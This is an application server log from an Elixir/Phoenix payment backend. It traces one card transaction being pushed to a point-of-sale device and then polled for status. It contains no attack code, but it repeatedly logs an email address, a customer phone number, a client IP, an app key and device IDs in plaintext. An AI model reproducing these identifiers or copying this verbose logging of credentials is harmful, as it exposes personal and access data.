[Fri Sep  4 05:16:59.826000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:17:04.827000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:18:51.483000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34464] POST /api/device/initiate
[Fri Sep  4 05:18:51.483000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:34464] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch888552988618", "externalRefNumber2" => "9799673167", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:18:51.483000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34464] Processing card transaction for reference: ch888552988618
[Fri Sep  4 05:18:51.485000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK source="users" db=1.2ms idle=911.7ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:18:51.487000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK source="custom_events" db=1.7ms idle=913.2ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:18:51.487000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch888552988618"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 122,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch888552988618",
  external_ref_number_2: "9799673167",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98250623730001"}
}

[Fri Sep  4 05:18:51.488000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 122,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch888552988618",
    external_ref_number_2: "9799673167",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98250623730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch888552988618",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:18:51.488053Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Fri Sep  4 05:18:51.488000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:34464] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch888552988618", external_ref_number_2: "9799673167", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch888552988618", transaction_id: nil, date_added: ~U[2026-09-04 05:18:51.488053Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Fri Sep  4 05:18:51.540000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK db=51.4ms idle=915.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch888552988618", external_ref_number_2: "9799673167", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, "Initiate Card Txn Request", "ch888552988618", ~U[2026-09-04 05:18:51Z], 35, "initiate_card_txn_request", ~N[2026-09-04 05:18:51], ~N[2026-09-04 05:18:51]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:18:51.540000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Successfully created custom event log with ID: 40244
[Fri Sep  4 05:18:51.540000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34464] Handling card transaction:
- Reference: ch888552988618
- Amount: 122
- Params: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch888552988618", "externalRefNumber2" => "9799673167", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Fri Sep  4 05:18:51.542000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK source="users" db=1.3ms idle=968.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:18:51.543000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK source="custom_events" db=0.7ms idle=970.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:18:51.544000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch888552988618"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788499131,
  device_id: "98250623730001",
  amount: 122
}

[Fri Sep  4 05:18:51.544000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788499131,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch888552988618",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:18:51.544503Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Fri Sep  4 05:18:51.544000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:34464] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788499131, device_id: "98250623730001", amount: 122}, event_name: "Response From Device Online Status", refrence_id: "ch888552988618", transaction_id: nil, date_added: ~U[2026-09-04 05:18:51.544503Z], event_id: 36, event_value: "response_from_device_online_status"}
[Fri Sep  4 05:18:51.581000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK db=33.8ms queue=2.1ms idle=972.1ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788499131, device_id: "98250623730001", amount: 122}, "Response From Device Online Status", "ch888552988618", ~U[2026-09-04 05:18:51Z], 36, "response_from_device_online_status", ~N[2026-09-04 05:18:51], ~N[2026-09-04 05:18:51]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:18:51.581000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Successfully created custom event log with ID: 40245
[Fri Sep  4 05:18:51.581000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34464] Publish payload 98250623730001: "{\"type\":\"card\",\"request_id\":\"ch888552988618\",\"amount\":12200,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Fri Sep  4 05:18:51.649000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK db=66.8ms idle=1009.5ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch888552988618", "externalRefNumber2" => "9799673167", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_76288a5209cf@mercurypay.in", "98250623730001", "ch888552988618", 4, Decimal.new("122"), %{}, "1", ~N[2026-09-04 05:18:51], ~N[2026-09-04 05:18:51]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Fri Sep  4 05:18:51.651000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK source="users" db=1.2ms idle=687.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:18:51.652000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK source="custom_events" db=0.9ms idle=361.8ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:18:51.652000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch888552988618"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788499131,
  qos: 1,
  device_id: "98250623730001",
  amount: 122
}

[Fri Sep  4 05:18:51.652000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788499131,
    qos: 1,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch888552988618",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:18:51.652698Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Fri Sep  4 05:18:51.652000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:34464] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788499131, qos: 1, device_id: "98250623730001", amount: 122}, event_name: "Request For Publish Txn", refrence_id: "ch888552988618", transaction_id: nil, date_added: ~U[2026-09-04 05:18:51.652698Z], event_id: 37, event_value: "request_for_publish_txn"}
[Fri Sep  4 05:18:51.692000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK db=39.5ms idle=279.3ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788499131, qos: 1, device_id: "98250623730001", amount: 122}, "Request For Publish Txn", "ch888552988618", ~U[2026-09-04 05:18:51Z], 37, "request_for_publish_txn", ~N[2026-09-04 05:18:51], ~N[2026-09-04 05:18:51]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:18:51.693000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Successfully created custom event log with ID: 40246
[Fri Sep  4 05:18:51.693000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34464] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98250623730001/update with ref: #Reference<0.2525715032.1115422721.181526>
[Fri Sep  4 05:18:51.693000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34464] Published successfully to topic2: ota/pos/12345678/98250623730001/sub with ref: #Reference<0.2525715032.1115422721.181535>
[Fri Sep  4 05:18:51.694000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK source="users" db=0.6ms idle=208.2ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 05:18:51.695000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK source="custom_events" db=0.6ms idle=207.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 05:18:51.696000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch888552988618"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788499131,
  device_id: "98250623730001",
  amount: 122
}

[Fri Sep  4 05:18:51.696000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788499131,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch888552988618",
  transaction_id: nil,
  date_added: ~U[2026-09-04 05:18:51.696555Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Fri Sep  4 05:18:51.696000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:34464] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788499131, device_id: "98250623730001", amount: 122}, event_name: "Response From Publish Txn", refrence_id: "ch888552988618", transaction_id: nil, date_added: ~U[2026-09-04 05:18:51.696555Z], event_id: 38, event_value: "response_from_publish_txn"}
[Fri Sep  4 05:18:51.722000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34464] QUERY OK db=25.6ms idle=157.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788499131, device_id: "98250623730001", amount: 122}, "Response From Publish Txn", "ch888552988618", ~U[2026-09-04 05:18:51Z], 38, "response_from_publish_txn", ~N[2026-09-04 05:18:51], ~N[2026-09-04 05:18:51]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 05:18:51.723000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:34464] Successfully created custom event log with ID: 40247
[Fri Sep  4 05:18:51.723000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34464] Publish successful to 98250623730001 with ref: #Reference<0.2525715032.1115422721.181535>
[Fri Sep  4 05:18:51.723000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34464] Sent 200 in 240ms
[Fri Sep  4 05:18:58.086000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:58042] POST /api/device/status
[Fri Sep  4 05:18:58.086000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:58042] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch888552988618", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:18:58.087000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:58042] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch888552988618", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 05:18:58.087000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:58042] Transaction reference number: "ch888552988618"
[Fri Sep  4 05:18:58.104000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58042] QUERY OK source="pos_transaction" db=16.6ms queue=0.1ms idle=514.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 05:18:58.107000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58042] QUERY OK source="pos_temp_transaction" db=2.1ms idle=531.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 05:18:58.112000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58042] QUERY OK source="pos_failed_transaction" db=4.7ms idle=534.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 05:18:58.113000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58042] QUERY OK source="cloud_transaction" db=0.8ms idle=539.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 05:18:58.113000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:58042] Sent 200 in 27ms
[Fri Sep  4 05:19:02.531000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:58054] POST /api/device/status
[Fri Sep  4 05:19:02.536000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:58054] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch888552988618", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 05:19:02.536000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:58054] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch888552988618", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 05:19:02.536000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:58054] Transaction reference number: "ch888552988618"
[Fri Sep  4 05:19:02.567000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58054] QUERY OK source="pos_transaction" db=30.5ms idle=964.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 05:19:02.571000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:58054] QUERY OK source="pos_temp_transaction" db=3.0ms idle=995.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch888552988618"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
